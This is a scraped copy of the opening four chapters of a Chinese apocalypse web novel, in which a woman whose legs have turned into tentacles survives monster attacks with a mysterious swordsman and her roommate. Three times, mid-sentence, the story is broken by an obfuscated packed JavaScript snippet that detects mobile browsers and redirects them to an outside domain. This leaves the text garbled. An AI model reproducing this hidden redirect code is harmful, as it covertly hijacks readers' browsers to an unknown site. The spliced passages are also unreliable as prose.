《怪物化后成了万人迷[末世]》 1. 第 1 章 毫无预兆地,异变降临在一个平平无奇的午后。 十一点半,黎望舒拖着脚步爬上六楼,在一扇锈迹斑斑的铁门前停下。 她鼻子冻得通红,刚把手伸进包里摸索钥匙,铁门就向内打开了,门后露出了一张妆容精致的面孔——是她的室友杜蕊。 “谢谢。”黎望舒习惯性地提起嘴角,“你这打扮,是要出门?” “真巧,我正准备给你发消息呢。”杜蕊神采飞扬地挑了挑眉,“我男朋友预约了高级餐厅,约我一起去,午饭不在家吃了。” 黎望舒与杜蕊做了四年的大学舍友。毕业后为了节约生活成本,关系不错的两人便一起合租在这栋公寓楼里。 “这样啊,祝你吃得开心。”黎望舒侧过身子给她让路。 “和新同事相处得怎么样?”杜蕊一边穿鞋,一边关心她。 “就那样。”黎望舒苦笑,“你知道我的,总是不合群。” “这样啊……别灰心,以你的能力总能融入进去的。”杜蕊搓了搓手,哈出一股白气,“嘶,今年入冬太早了吧,外面好冷!” 目送室友的背影消失,黎望舒嘴角的弧度消失,反手关上了门。 她将挎包和外套随手丢在沙发上,径直走进洗手间,洗了把脸。 甩掉脸上的水珠,她抬起头,无意间看到了镜中自己的面孔——年轻的脸庞,皮肤白皙,栗色短发垂在肩头,本该充满活力与朝气;但眉宇间满是疲惫,眼下挂着两轮青黑,又让这张脸多了一分沉郁。 ……上班好烦。 她一向将自己伪装得很好,身边的同学朋友都称赞她的温和有礼;但这次算她倒霉,碰上了一群喜欢欺凌新人的同事——他们将杂七杂八的工作都推给她不说,还时不时地给她使绊子,用她焦头烂额的模样取乐。 一来二去,她最近的工作量大得令人头秃。 但她实习期刚过,现在经济不景气,工作难找,她的身后也没有能兜底的家人,只能一边忍耐,一边寻找跳槽机会。 ……等找到了下家,一定要让这群恶劣透顶的家伙见识下她的手段。 黎望舒提起洗脸台旁的卸妆水,盯着明显下降的水位叹了口气。 “杜蕊那家伙……又在挥霍别人的化妆品。”她无语地掂了掂手中的瓶子,“又得买新的了,这次一定要好好说说她。” 没精力计较那么多,她草草卸完妆,甚至等不及回到自己的房间,直接披着外套倒在沙发上,在合上双眼的下一秒坠入沉眠。 …… “……怪、怪物!别过来!啊——” 朦胧中,一阵尖利的惨叫猛然划破寂静,又戛然而止。 黎望舒从梦中惊醒。 “外面怎么闹哄哄的……”揉揉眼睛,她烦躁地嘟哝,抬头看了眼挂钟——现在是一点钟,自己大概睡了一个半小时。 肚子叽里咕噜地发出抗议。 “说起来……还没吃午饭啊。”她打着哈欠坐起来,无视了窗外的喧闹,打算热两个三明治填饱肚子。 经过落地镜时,她下意识扫了眼镜面,然后突兀地停下脚步,凝视着镜面,愣了两秒。 ……她睡糊涂了? 揉了揉眼睛,她再次自上而下地审视镜中的女孩——米色的毛衣与同色的毛线外套,上半身看起来一切正常;但视线再向下移,长裙之下不再是脚踝,而是一团扭动着的……什么东西? 黎望舒咽了口唾沫,做足心理准备后,对着镜子,小心地提起了裙摆。 “……!”她瞪圆了眼睛,愣愣地盯着镜面——本该在裙摆下的双腿不复存在,取而代之的是一大团粗壮的、小幅度扭动着的青黑触手! 它们长得与章鱼足颇为相似,却又比章鱼足更粗、更长,裙子一直卷到腰际,才重新看到了人类该有的腰部肢体;触手末端裹着一层粘液,滑过地板时会留下一道晶亮的水痕。 她刚刚到底是怎么移动到这里来的?靠着这些触手吗? 操控这些触手像是她的本能——试图回忆操控方法的同时,身下的触手们失去了支撑力,她无法保持平衡,重重地跌在地上。 被她的情绪影响,下半身的触手们不受控制地狂乱挥舞着,茶几上的摆件与碗盘都被波及,客厅一片狼藉。 “啊?”黎望舒牙关紧咬,克服心中的抵触,伸手捉住其中一条触手,低头仔细端详,“触手?为什么……我的腿呢?” 这可怎么办……她下午还得准时上班,不能被那个阴险部长抓到把柄! 喘息片刻后,她渐渐恢复了冷静,触手们也跟着安分下来。 “这到底是怎么回事?”黎望舒捏着冰凉的触手思考,突然想起了醒来时听见的那道惨叫,“怪物……难道说,外面也发生了同样的事?” ——不知何时,窗外的喧闹声消失了,四周静得只能听见自己的心跳。 她试图站立起来,但触手们不听使唤,尝试了几次都以失败告终;无奈之下,她只好用胳膊肘撑起身体,一点点爬到了窗边的沙发上。 “这是……”拨开窗帘,看到窗外的景象,她忍不住吸了口凉气。 这扇窗户正对着本地的人民广场,广场中心有一座音乐喷泉,经常有小孩子在喷泉边玩耍,一边的爱心长椅是年轻情侣中意的约会地点,黄昏时分还会有老人结伴前来跳广场舞。 而现在……祥和的景色不复存在,广场被刺目的血色晕染,到处都是破碎的血肉,只有几具较完整的人体,但也都倒在血泊中一动不动,看样子凶多吉少。 稍近一点的地方,横躺着一个中年男人——那是广场旁小卖部的老板,黎望舒常去那个小卖部买日用品。他对待客人的态度有些不耐烦,但对常在广场周围游荡的流浪猫颇有耐心,经常给它们投喂罐头。 此时,他仰面朝天躺在地上,因恐惧而扭曲的表情凝结在脸上,双眼空洞地望着天空,胸前伏着一团黑漆漆的东西,正缓缓蠕动着。 黎望舒眯起眼睛,试图将它看得更清楚。 那个黑团子就是怪物? 突然,那团东西周围炸开了一圈触手,满足了似的,从老板的胸口抬起了脸——如果那长了一圈尖牙的结构能被称之为脸的话——然后便用那圈触手撑起身体,将几乎被掏空了胸腹的尸体留在背后,摇摇晃晃地离开了。 她总算看清了——那怪物的尖牙上,还残留着一丝血肉。 “唔……”她一把拉下窗帘,不再去看那血腥的景象,用力捂住嘴,额上浮起冷汗。 咽下涌到喉咙口的酸水,她的视线回到自己下半身的触手之上。 刚刚的那只怪物……黎望舒看清了它的结构。它就像一个由触手组成的毛线团,脸——或者说是口器,像海星一样,被藏在一团触手的正中央,进食时它先用触手缠住食物,然后再将那圈尖牙翻卷上来撕咬吞咽。 她并没有在怪物的口器周围发现眼睛,也许怪物捕食时并不依靠视力?不过那怪物漆黑一片,有可能是她看漏了。 可恶……要是早点去看的话,说不定就能看见它是怎样杀人的了! 黎望舒无意识地咬起了指甲,焦虑地思考着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794240|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 虽然颜色不尽相同,但那怪物的触手看起来与她的极为相似,要说有哪里不同,也就是她的更粗壮而已;但与怪物不同,她还有神智,看到血肉也没有食欲,只觉得恶心。 她应该还能算做人类的……对吧? 只是不知道,怪物的出现是偶然还是常态。如果各地都出现了这种异常,她就不必去上班了,但新的问题又出现了——她该怎么从怪物的猎杀中存活下来? 也许下半身的触手是一种进化?上帝总不会关上所有的门窗。如果能熟练操控这些触手,她说不定能得到足以自保的力量。 但……别说操控了,她现在就连走路都成问题。 “哐当——哐当——” 就在黎望舒撑着沙发扶手,试图站立起来时,铁门突然从外面被撞响了,像是确定这房间里有人似的,一声接着一声,一次比一次剧烈。 她悚然一惊,左右环视一圈,实在没发现趁手的武器,只好抄起了窗台上的多肉盆栽。 是气味吗……还是温度?这种力道不是人类能撞出来的,明显是怪物!她明明没有出过声,怪物到底是怎么发现她的? 这么大的声响说不定还会引来其他的怪物,再不学会走路,她会死的……她会死在这里! 巨大的力道之下,铁门很快就变得摇摇欲坠;肾上腺素爆发,她紧盯着门,心脏狂跳,浑身都因激动微微颤抖着。 终于,门被破开了,一个皮肤青绿的怪物冲了进来——它上半身大致还是人类的样子,但表情狰狞,挥舞着两条细长的手臂,指甲长而锋利;下半身生着一大团青黑触手,张牙舞爪地在空气中挥舞,腰上挂着腰带和牛仔裤的半截布料,裤腿部分像是被那团触手撑爆了,不见踪影。 它迅速锁定了窗边的黎望舒,下身触手一弹,朝她扑过来。 黎望舒立刻将手中的盆栽砸了出去——准头不错,正中那怪物的面部,但并没有起到打断行动的效果。它吃痛地嚎了一嗓子,势头不减,依旧径直朝她扑来。 二者之间的距离迅速缩短。 一下子对上这样一张扭曲的、散发着潮气的面孔,哪怕是心理素质不错的黎望舒也被吓得心脏一缩。 情急之下,她撑着沙发,下肢用力一弹,勉强躲开了怪物伸来的手爪;然而那怪物灵活得不可思议,一瞬间便扭过身体,接着朝她扑来。 该怎么办……厨房,对了!厨房有刀!她需要武器! 操纵着触手,她飞快地朝厨房游去——在求生欲的驱使下,她学会了如何走路;但此时的她已经无暇顾及这种事情,甚至不敢回头看身后的敌人,心中焦急地默念:快点、再快一点! 终于,她握住了菜刀刀柄。 但转过头的那一刹那,她忍不住咬紧了后槽牙——那怪物已经逼到了眼前,青绿色的爪子长长地伸过来,即将触到她的脖颈。 厨房的空间太过狭窄,她甚至无法侧身避开。 ……她要死了。 这个念头清晰地出现在黎望舒的脑海里。 她从未如此接近死亡,一时间血液倒流,不受控制地定在了原地,浑身肌肉僵硬,连闭眼这种简单动作都无法完成,只能眼睁睁地看着自己的生命流逝。 ——就在她心生绝望之时,一道耀目剑光划过,怪物的动作突然停滞下来,随着那道剑光,从头顶顺滑地被切成了两半,墨绿色血液从断口喷出。 青绿爪尖距她的脖颈不过一毫,但终究没能碰到她的皮肤,眨眼间就被切成了几段,“啪嗒”一声落在地上,化作了一滩烂肉。 2. 第 2 章 鼻端满是怪物的潮湿气味,黎望舒喉咙发紧,视线越过地上的那滩烂肉,投向厨房门口——那里立着一个身穿单薄青衣的年轻男子。 他肤色冷白,黑色长发随意散在肩头,腰间斜绑着一条黑色束带,勾勒出了瘦削的腰身;束带上横挂着一柄通体漆黑的长剑,黎望舒甚至没有看清,他到底是怎么收剑入鞘的。 他的右手仍搭在剑柄上,一双黑眸沉沉地注视着黎望舒,向前走了一步。 “不是,等等!”这才想起身下的触手,她急忙扯下裙子遮掩,“我不是怪物——” 但青衣男子的目光一直锁在她的脸上,似乎并没注意到地上的触手。他踏入血泊,几步跨过怪物的尸体,缓缓俯下身子,用指尖触了触她的脸颊,又像是被她的温度烫到似的,将手缩了回去。 不明白对方想做什么,她紧张地吸了口气,抬眼对上那双黑眸,真诚道:“多谢你出手相助。” ——这人额发略有些长,软软地垂在眼上,投下一片阴郁的影子,配上苍白肤色和衣领上飞溅的血滴,不由得让人联想到深山老林中索命的貌美厉鬼。 不知为何,他神色恍惚,怕黎望舒原地消失似的,双手用力扣在她的肩膀上,喉结微滚,薄唇动了动,但什么都没能说出来;静静地与她对视片刻后,他半跪下来,双臂轻轻环抱住她的身体,额头抵在了她的肩膀上。 “?”黎望舒被他突如其来的接近惊得身体僵硬,一时间竟忘了反抗。 他的温热呼吸近在咫尺,立刻在脖子上激起了一片鸡皮疙瘩,从他乌黑柔软的发丝间,传来了一股草木的清新气息。 “喂,放开。”黎望舒蹙眉,手捏上他的后颈,微微用了点力,想要将他拉开,“你——” 话还没说完,耳边便传来了微小的抽气声,有滚烫的水珠滴落在她颈间。 黎望舒止住话头,茫然地眨了眨眼。 ……眼泪?他在哭?为什么? 该哭的明明是刚从鬼门关爬回来的她吧! 黎望舒这人典型的吃软不吃硬,看见美人落泪就忍不住心软——她推拒的手僵在半空,放轻了声音:“……你没事吧?” 青衣男子一声不吭。 犹豫片刻,她抬手抱了回去,安抚地拍了拍他的脊背;青衣男子身体一僵,眼泪掉得更凶了。 这人哭得悄无声息,刚刚的气声就像她的幻觉似的,转瞬间就消失不见了;但滚烫的泪滴依旧不断地滴落在她的皮肤上,手下肌肉流畅的脊背也微微颤抖着。 ……算了,怪可怜的,想抱就抱一会儿吧,就当是报答他的救命之恩了。 杜蕊还没回来,正好等一等她……不知道她现在怎么样了。 想起之前见到的吃人怪物,黎望舒忧愁地叹了口气。 …… 狭小的厨房里,怪物的血液铺了一地,挥发出浓郁腥气,又夹杂着让人联想到海产物的潮湿气息,实在说不上好闻;但黎望舒闻了太久,鼻子已经麻木,甚至开始习惯这个味道了。 “喂,哭够了吧。”她面无表情地捏住了青衣男子的脖颈,拇指压在他脆弱的颈动脉上,冷声开口:“我还有要去的地方……别用我的衣服擦眼泪!” 她本想耐心地等待青衣男子整理好情绪,但这家伙不知受了多大的打击,哭个没完,实在让人心焦。 那青衣男子总算有了反应——他有些难为情似的,上半张脸埋在她的外套上,静静地待了一会儿,才满面通红地站了起来。 他背过身去,左右看了看,伸手从旁边的架子上拽了张厨房纸,将脸擦干净后才回过身来,又变回了那个气质出尘的清冷剑客,只是白皙面皮上染了层薄红,格外显眼。 黎望舒嫌弃地将湿了一半的毛线外套脱下——谢天谢地,这家伙还有点良心,没把鼻涕一起糊在她身上。 “这是……”青衣男子这才发现她裙摆下的触手,漂亮的眉毛皱起,“你受伤了?” “没有。”黎望舒摇头。 她扶着身旁的橱柜,回忆先前被追杀时的感觉,将触手撑在地上,左右“走”了两步——虽然还有些滞涩感,但总算可以自由行动了。 也算是因祸得福。 “还没自我介绍,我叫黎望舒。”站稳后,她正色道谢,“多谢你出手相救。” 面前的青衣男子略一点头,惜字如金道:“郁仪。” 黎望舒一愣,才反应过来,这是他的名字。 郁仪抿了抿唇,似乎还想说什么,但客厅里突然飘来一道颤巍巍的女声,他眉锋下压,右手瞬间握上了剑柄—— “望、望舒,是你吗?” 这声音……是杜蕊回来了! 黎望舒还没来得及高兴,就被郁仪的动作吓了一跳,连忙压下了他的手,“别拔剑,是我认识的人。” 一片狼藉的客厅里,杜蕊双手紧握消防斧,浑身肌肉紧绷,警惕地盯着厨房,一刻也不敢放松;直到真的看到黎望舒走出来,她才卸了力气,丢掉斧头小跑几步,哭着飞扑进黎望舒怀中。 “呜……你还活着!”杜蕊脸上满是干涸的泪痕,伏在黎望舒肩头,小声抽泣,“家里的门是开着的,客厅也乱七八糟的……外面到处都是怪物,我、我还以为……” “好了好了。”被她的哭声震得头疼不已,黎望舒轻声安慰她,“闯进来的怪物已经被干掉了。” 刚从一个哭包那里逃出来,立刻又被另一个哭包缠上了…… 所幸,杜蕊很快便止住了泪。她刚想抬起头,后脑就传来一股阻力。 “小蕊,我现在的外表和之前不太一样。”黎望舒压着杜蕊的脑袋,语气和缓,“你做好心理准备,别被吓到。” 杜蕊不明所以,点了点头。黎望舒放手后,她后退两步,视线下移,看到那团触手时,瞪大双眼,发出一声惊呼,“啊!” 郁仪眸色沉下,拇指一推,银光闪过,长剑悄然出鞘。 “你的腿呢?”一瞬的动摇过后,杜蕊重新蹲到黎望舒面前,皱眉仔细打量那些触手,“这是变异?还是超能力?” “还不清楚……事实上,我刚学会用它们走路。”黎望舒提着的心落回肚子里,“你不害怕?” “我又不是傻子,你要是真想杀我,刚刚那一抱够我死一百次了。”杜蕊没好气地站起身来,这才注意到后面静立着的黑发剑客。 她被惊艳得恍惚了一瞬,连声音都放柔了,“……这位是?” “他叫郁仪,我的救命恩人。”黎望舒简单说明了之前的情况,“……大概就是这样。你是怎么回来的,外面的情况怎么样了?” 说起自己的遭遇,杜蕊眼眶又红了。 “街上到处都是长着触手的怪物,见到活物就杀,还、还会吃人!”杜蕊说,“志俊……就是我男朋友,我亲眼看到,怪物从他身体里钻出来了!” “钻出来?”黎望舒皱眉。 “嗯,就好像被寄生了似的,爪子先是破开胸膛,然后在他胸口撕出了一个血洞,长着黑色触手的怪物就从里面钻出来了。”杜蕊脸色发白,“然后……然后……呕!” “好了,先别说了。”黎望舒给她顺气。 杜蕊只吐出了些酸水,呛咳几声后,摇了摇头,接着说了下去:“怪物爬出来时,我就在它身边,被吓得动弹不得。但它没搭理我,而是钻回了志俊的胸膛里……听声音,恐、恐怕,是在吃志俊的肉!” 黎望舒立刻回想起了窗外广场上的那一幕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794241|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这么说来……怪物都是从人体中产生的?”她喃喃自语。 “大部分是这样。”郁仪淡声开口,“普通怪物寄生在活物体内,刚孵化出来时非常脆弱,轻轻一握就能杀死。进食补充能量后,根据进化方向的不同,它们的外皮或是变得坚硬,或是更有韧性,总之更不好对付。” 黎望舒看向郁仪,“你的意思是,还有另一部分怪物并不是这样的?” “没错。”郁仪转身,示意她看厨房地上的尸体,“这种半人半触手的怪物,就是直接由人类变异而来的,还留有智慧,变得残忍狡猾,甚至会耍花招欺骗盯上的猎物,比普通怪物更棘手。” 黎望舒盯着那张从中间裂开的狰狞面孔,总觉得有些面熟;杜蕊凑过来看了一眼,惊呼出声:“这不是隔壁的小唐吗!” “他平时看着有点阴沉,但人不坏,还帮我提过东西呢……”杜蕊语气低落。 黎望舒屈起触手,蹲下身去,掀开尸体腹部的牛仔布料,细细端详它人身与触手的接点,心脏不由得一缩—— 太像了……她与这怪物。 她有朝一日也会变成这样吗?失去理智,一心杀戮…… 不,一定不会的。 她闭了闭眼,强迫自己不去担忧得太远。 郁仪站在一边,沉默地观察她变幻的神色。 “望舒……我们接下来该怎么办啊。”杜蕊扯住黎望舒的衣袖,眼中透着不安,“门也坏了,在这里待着不安全。” 黎望舒回过神来,没怎么思考,就说出了自己的打算:“我想回红帆孤儿院看看。” 她是个弃婴,自小在福利院中长大。红帆福利院的杨院长待她如同亲子,于情于理,她都应该回去确认情况。 “去红帆孤儿院的话,坐地铁也要花四十分钟,有点远……”杜蕊犹豫了。 “我们不一定能找到车,实际要花的时间只会更长,甚至要做好步行过去的心理准备。害怕的话,你就找个房间躲起来,说不定过段时间,军队就能控制住局面了。”黎望舒语气温和,“没必要跟着我冒险。” “……不,我跟你一起去!”瞟了一眼地上的尸体,杜蕊艰难地下定决心,“躲起来也不安全,就算要死,我也想和你死在一起!” “别说丧气话。”黎望舒失笑,拍了拍她的脑袋,转头看向郁仪,“郁先生,我们准备离开这里了,不知你打算……?” “我跟着你。”郁仪顿了顿,“我不姓郁,也没有姓氏,你直接叫名字就好。” “跟着我?为什么?”黎望舒不解。 杜蕊一向害怕寂寞,跟着她还能理解……这位身手了得的剑客又是为了什么?她实在想不明白。 但郁仪看起来并不打算解释——他避开了黎望舒探究的视线,盯着地板,一副执拗的样子。 “这不是挺好吗。”杜蕊戳了戳她,“他身手很好吧,正好可以保护我们。” 的确,有这样一位高手跟在身边,很让人安心。 “那……欢迎你与我们同行。”按下兴奋的杜蕊,黎望舒冷静开口,“只是,有一件事要拜托你,路上遇见怪物时请你不要出手,先让我们试一试。” “为什么啊!”没等郁仪出声,杜蕊先瞪大了双眼。 “小蕊,我们不可能一辈子依赖他人,总要学会自己生存。”黎望舒捡起地上的消防斧,重新塞回杜蕊手中,“你也明白这个道理吧。” “嗯……但、但是……”一想到要和怪物面对面,杜蕊忍不住攥紧了斧柄。 “我明白了。”郁仪点头,“你们解决不了的时候,我再拔剑。” “多谢。”黎望舒拍了拍杜蕊的肩膀,“收拾东西吧,我们尽早出发。” 3. 第 3 章 杜蕊还在抓耳挠腮地在卧室挑选物品时,黎望舒已经收拾完毕,靠在被撞坏了的门边,一边警戒周围,一边练习用触手卷起物品。 郁仪沉默地立在她身侧,身姿挺拔,一头黑发利落地在脑后束成马尾,上面扎着从她那里借来的白色发带。 感受到她的目光,郁仪偏头回望,黑眸中带着明晃晃的疑惑。 黎望舒摇摇头,无奈地叹了口气——郁仪简直像个影子,无论自己去哪里,他都要寸步不离地跟在左右,就连去卫生间时,他也要在门口守着。 问他为什么,他沉默不语;劝他不要这样做时,他不发一言地听着,但转过身时,又会发现他跟了上来,颇有种不撞南墙不回头的倔劲儿。 真是谜一样的锯嘴葫芦。 就在黎望舒以为,郁仪会这样沉默到天荒地老时,他却突然开口了。 “你的腿……最好遮掩起来,不要被人发现。”他低声说,“会有麻烦。” “嗯,我明白,会吓到别人对吧。”黎望舒扯扯嘴角,“只看外表的话,我和那些怪物确实没什么差别。” “你不是怪物,是那些误会的人不好。”郁仪转过身来,斟酌着语言,“而且,在未来的某一天,你的腿会变回原样的……至少我是这么认为的。” 见他说得一脸认真,黎望舒反而觉得有趣,弯眼笑了出来,“谢谢,那就借你吉言。” 冬日的阳光柔和又温暖,越过她的脸庞,照进了琥珀色的瞳孔中,折射出温柔的光晕。 郁仪耳根微微发烫,眸光描摹着她扬起的唇角,只觉得一阵恍惚。 这样灿烂又纯粹的笑容……以前他从未在那个人脸上见过。 喉结动了动,他狼狈地收回目光,闭目试图静心;可脑海里一会儿闪过她阳光的笑颜,一会儿是她阴沉又泛着潮气的微笑,最后变成了她死气沉沉的冰冷面孔,静不下心来不说,反而愈发心烦意乱。 被回忆折磨得心焦难耐,郁仪握紧剑柄,目光刺向了在卧室客厅两头跑的杜蕊,“那个人就是你的舍友杜蕊?” “是啊。”黎望舒疑惑,“怎么,你认识她?” 他眸色转冷,声音低沉:“总有一天,她会背叛你,你要小心。” “你说什么!”还没等黎望舒做出反应,杜蕊便气冲冲地冲了过来。 门口二人谈话时音量正常,完全没有避着人的意思,自然会被不远处的杜蕊收入耳中。 “你凭什么这样说!”杜蕊瞪着他,“明明才刚认识我们不久!” 郁仪却又沉默了,垂下眼睫,盖住眼底的暗色,没有与她争辩的意思。 “小蕊,消消气。”黎望舒一个头两个大,出声打圆场,“你也是,不要开这种不好笑的玩笑。” 但郁仪无视了她递来的台阶,执着道:“这不是玩笑。” “你——”杜蕊气急,眼眶都红了一圈。 “别再说了!”黎望舒神色泛起冷意,“我身边的人,我自有判断,不需要别人来评判。” “……我明白了,抱歉。”郁仪低头认错,眼下还残留着些许红痕,睫毛在面容上投下一小片阴影。 明明是他先挑起的事端,但这副样子却像条受了欺负的小狗似的,委屈巴巴的。 黎望舒想起他刚刚的安慰,不忍心再责备他,没再说什么,拉着怒气冲冲的杜蕊进了卧室。 “砰。” 卧室门在眼前合上,郁仪睫毛一颤,修长手指搭上剑柄,缓缓收紧。 ……是他心急了。 卧室里。 “望舒,你不能相信他!”杜蕊委屈地扁嘴,“这个人莫名其妙的……” “好好好。”黎望舒看着散落一床的杂物,忍不住揉了揉太阳穴,“你这是逃命还是搬家?动作快点,别带太多东西,这回可没人帮你提包了。” “但我看什么都觉得很重要啊……对了,你等我一下。”杜蕊突然一拍脑袋,一头扎进了衣柜里,翻找半天后,从最深处摸了条长裙出来,“你看这个,裙摆长得都拖地了,应该能遮住你的触手。” 黎望舒接过来比了比,惊喜道:“你怎么会买这样的裙子?” “网购的瑕疵品,忘记退掉了,不过现在看来,幸好没退。”杜蕊得意一笑,“怎么样,囤积癖还是有好处的吧!” 杜蕊向来没心没肺,负面情绪来得快,去得也快,从不记隔夜仇。 “嗯,帮大忙了。”黎望舒面带微笑,拎起杜蕊的沉重背包,将里面杂七杂八的东西尽数倒在床上,“作为回报,我现在就来帮你断舍离。” “什么……不要啊!!” -- 郁仪没等多久,卧室门就重新打开了。他抬眼看去,黎望舒长裙拖地,触手被掩得严严实实,提着背包走在前面,杜蕊手里捧着一个小盒子,跟在后面苦苦哀求。 “包不是没装满吗,多带一个八音盒又不会怎么样……求你了!”杜蕊见缝插针,想要将盒子塞进包里,却被黎望舒无情拦下。 “不行,这包本来就不大,还得留点地方装药品和食物。”黎望舒皱眉,“都什么时候了,不要任性。” “可是……”杜蕊抱着盒子不肯松手,“这是大一的时候,你送我的第一份礼物,我想随身带着。” 黎望舒一怔,再看那八音盒,果然有点眼熟。 “……那也不行。”她没有松口,语气却软化了,“外面这么乱,我们不知道会遇上什么,多装几包饼干,就能多一点活下去的底气。把它留在这里吧,有机会了再回来拿,你要是喜欢,我以后再送你新的。” 杜蕊含着泪点头。 郁仪立在一边,面无表情地听着她们二人交谈。 一番折腾后,她们终于准备妥当,准备出发。 艰难地背上背包后,杜蕊向手里哈了口气,搓了又搓,突然意识到什么,惊讶地问:“等等,你们两个就这样走?不觉得冷吗?” 黎望舒一怔,低头打量自己的穿着,这才发现不对劲——她上身只套了一件漏风的粗线毛衣,下身更是只有裙子,在这样的严冬里,按理说早该被冻得吱哇乱叫了……然而,她却没感觉到一点寒冷。 自己这是……变异出了抗寒能力? “我不冷。”她看向另一个衣着单薄的人,“你呢?” 郁仪摇头,“我体质与常人不同。” 郁仪的青衣说不上来是什么材质,柔软又轻薄,加上柔顺马尾与腰间的长剑,看起来有股超然脱俗的气质;但他肩上还背着一个鼓鼓囊囊的黑色登山包,将那股超然的气质破坏得一干二净。 ——他不知从哪儿翻出了这个登山包,将她们带不下的食物都装了进去——托杜蕊这个囤积癖的福,家里各种各样的速食产品与罐头多得能吃半个月。 “所以……我们三个里,只有我必须裹成球才能出门?”杜蕊吸吸鼻子,艰难地弯下腰,捡起了地上的消防斧,“胳膊都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794242|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活动不开,怎么对付怪物啊。” “忍忍吧,总比冻僵要好。”黎望舒腰间别着厨刀,手里提着一根裹着彩色塑料纸的长木棍——它的前身是拖把,只不过被卸掉了拖把头。 之前被逼到绝路时的心悸感仍然萦绕在心头,比起厨刀这种近战武器,长柄的武器更能让她安心。但将家里翻了个底朝天,也只有拖把棍能勉强一用。 “准备好了吗?”她轻声询问,面前二人或紧张或淡然,都点了点头,“那……我们走吧。” 按照之前商量好的顺序,黎望舒第一个踏出门槛,杜蕊哆嗦着紧随其后,郁仪感知最灵敏,因此在后方警戒,防止怪物从背后偷袭。 出乎意料地,走廊里空旷又干净,没有血液,更没有尸体;两侧的房门大多紧闭,只有少数几扇敞着。 “我过来的时候,这一层以下的走廊里还没有怪物,但房间里可能会有,路过时要小心。”郁仪的声音轻轻地从身后传来,“现在这个阶段,小型怪物还破不开门。” 黎望舒没有回头,比了个手势示意自己听到了。她浑身肌肉紧绷,踏出的每一步都轻得不能再轻,每次路过敞开房门时,心跳都会加快几分,生怕门里突然扑出一只怪物。 ……虽然面上一直维持着镇定,但她心底也是怕的。 异变降临得太过突然,安定的生活转瞬间就被摧毁,她至今仍有种不真实感,隐隐地期待着这只是一场噩梦,很快就会醒来。 可惜,现实就是现实,永远那么无情—— “喂,你们几个,外面安全了吗!” 一道略有些失真、又透着急切的男声突然响起,在寂静的走廊里回荡。 黎望舒悚然一惊,回头望去——声音来自他们刚刚经过的一扇门。房屋的主人大概透过猫眼看到了他们,于是通过门口的小扬声器发问。 “嘘。”最后方的郁仪冷淡地瞥过去一眼,将手指竖在唇边,低声警告,“不要出声。” “什么?为什么!”房里的人非但没有听从劝告,反而以为他们要走,着急地放大了声音,“你们要去哪里?那些触手怪又要怎么对付啊?” 蠢货! 黎望舒面色一变。 那扬声器不知道是什么牌子的,放大声音的效果出奇地好,她在近处甚至感觉耳膜都被震得发出了嗡鸣。 ——这下,恐怕整栋楼的怪物都要被引过来了! 黎望舒焦灼地环视一圈,暂时还没看到怪物的影子,于是语速极快地回过头去,催促道:“别管他了,趁怪物还没过来,我们快走!” 然而,身后的杜蕊面色惨白,颤抖着伸出手,指了指她的背后,开口时牙关都在打战:“来、来不及了……” 一瞬间,她头皮炸开,僵硬地回身望去——走廊的尽头,一个黑色团子伏在地上,缓慢地向他们的方向蠕动着,行过的地方留下了一条蜿蜒的血痕,看方向,是从楼上下来的。 这次的团子,和她之前在广场上看到的又有些不同——广场上那只体型较小,而且没有眼睛;这一只体型大了几圈,背上顶着一只血红色的硕大眼球,滴溜溜地转动着。 “小蕊……准备上了。”黎望舒牙关紧咬,从喉咙里挤出声音。 背后传来一声尖锐的抽泣。 就在黎望舒举起拖把棍,摆好架势的那个瞬间,黑团子仿佛意识到了什么似的,一瞬停顿后,骤然加快了速度,从地上弹起,血盆大口直冲她的面门咬来。 4. 第 4 章 看清那尖牙上插着的半块碎肉后,黎望舒瞬间意识到了血痕的来由。 那恐怕是人血。 怪物速度极快,一眨眼的功夫就已经冲到了黎望舒面前,背后传来杜蕊的惊叫。 自己的背后还有人……不能躲! 她飞速改换姿态,将拖把棍横在眼前,全力接下了怪物冲过来的势头,把拖把棍卡在它锋利的牙齿中间,往地上一按,将它压在了地上—— “小蕊,砍它!” 杜蕊面无人色,快步冲上前去,闭着眼胡乱砍了一通,但准头太差,只中了一斧;那怪物受了点伤,变得愈发狂躁,挣扎得越来越猛,黎望舒的虎口被震得微微发麻。 黎望舒发了狠,咬紧后槽牙,用力按住拖把棍的两端,向下压去;怪物被她压得吱吱作响,背后的眼球承受不住压力,“啪”一声,被压得爆裂开来,猩红的液体在地上蔓延。 “咔嚓——” 就在这时,承受不住她的大力摧残,拖把棍发出了清脆的断裂声。 ……糟了! 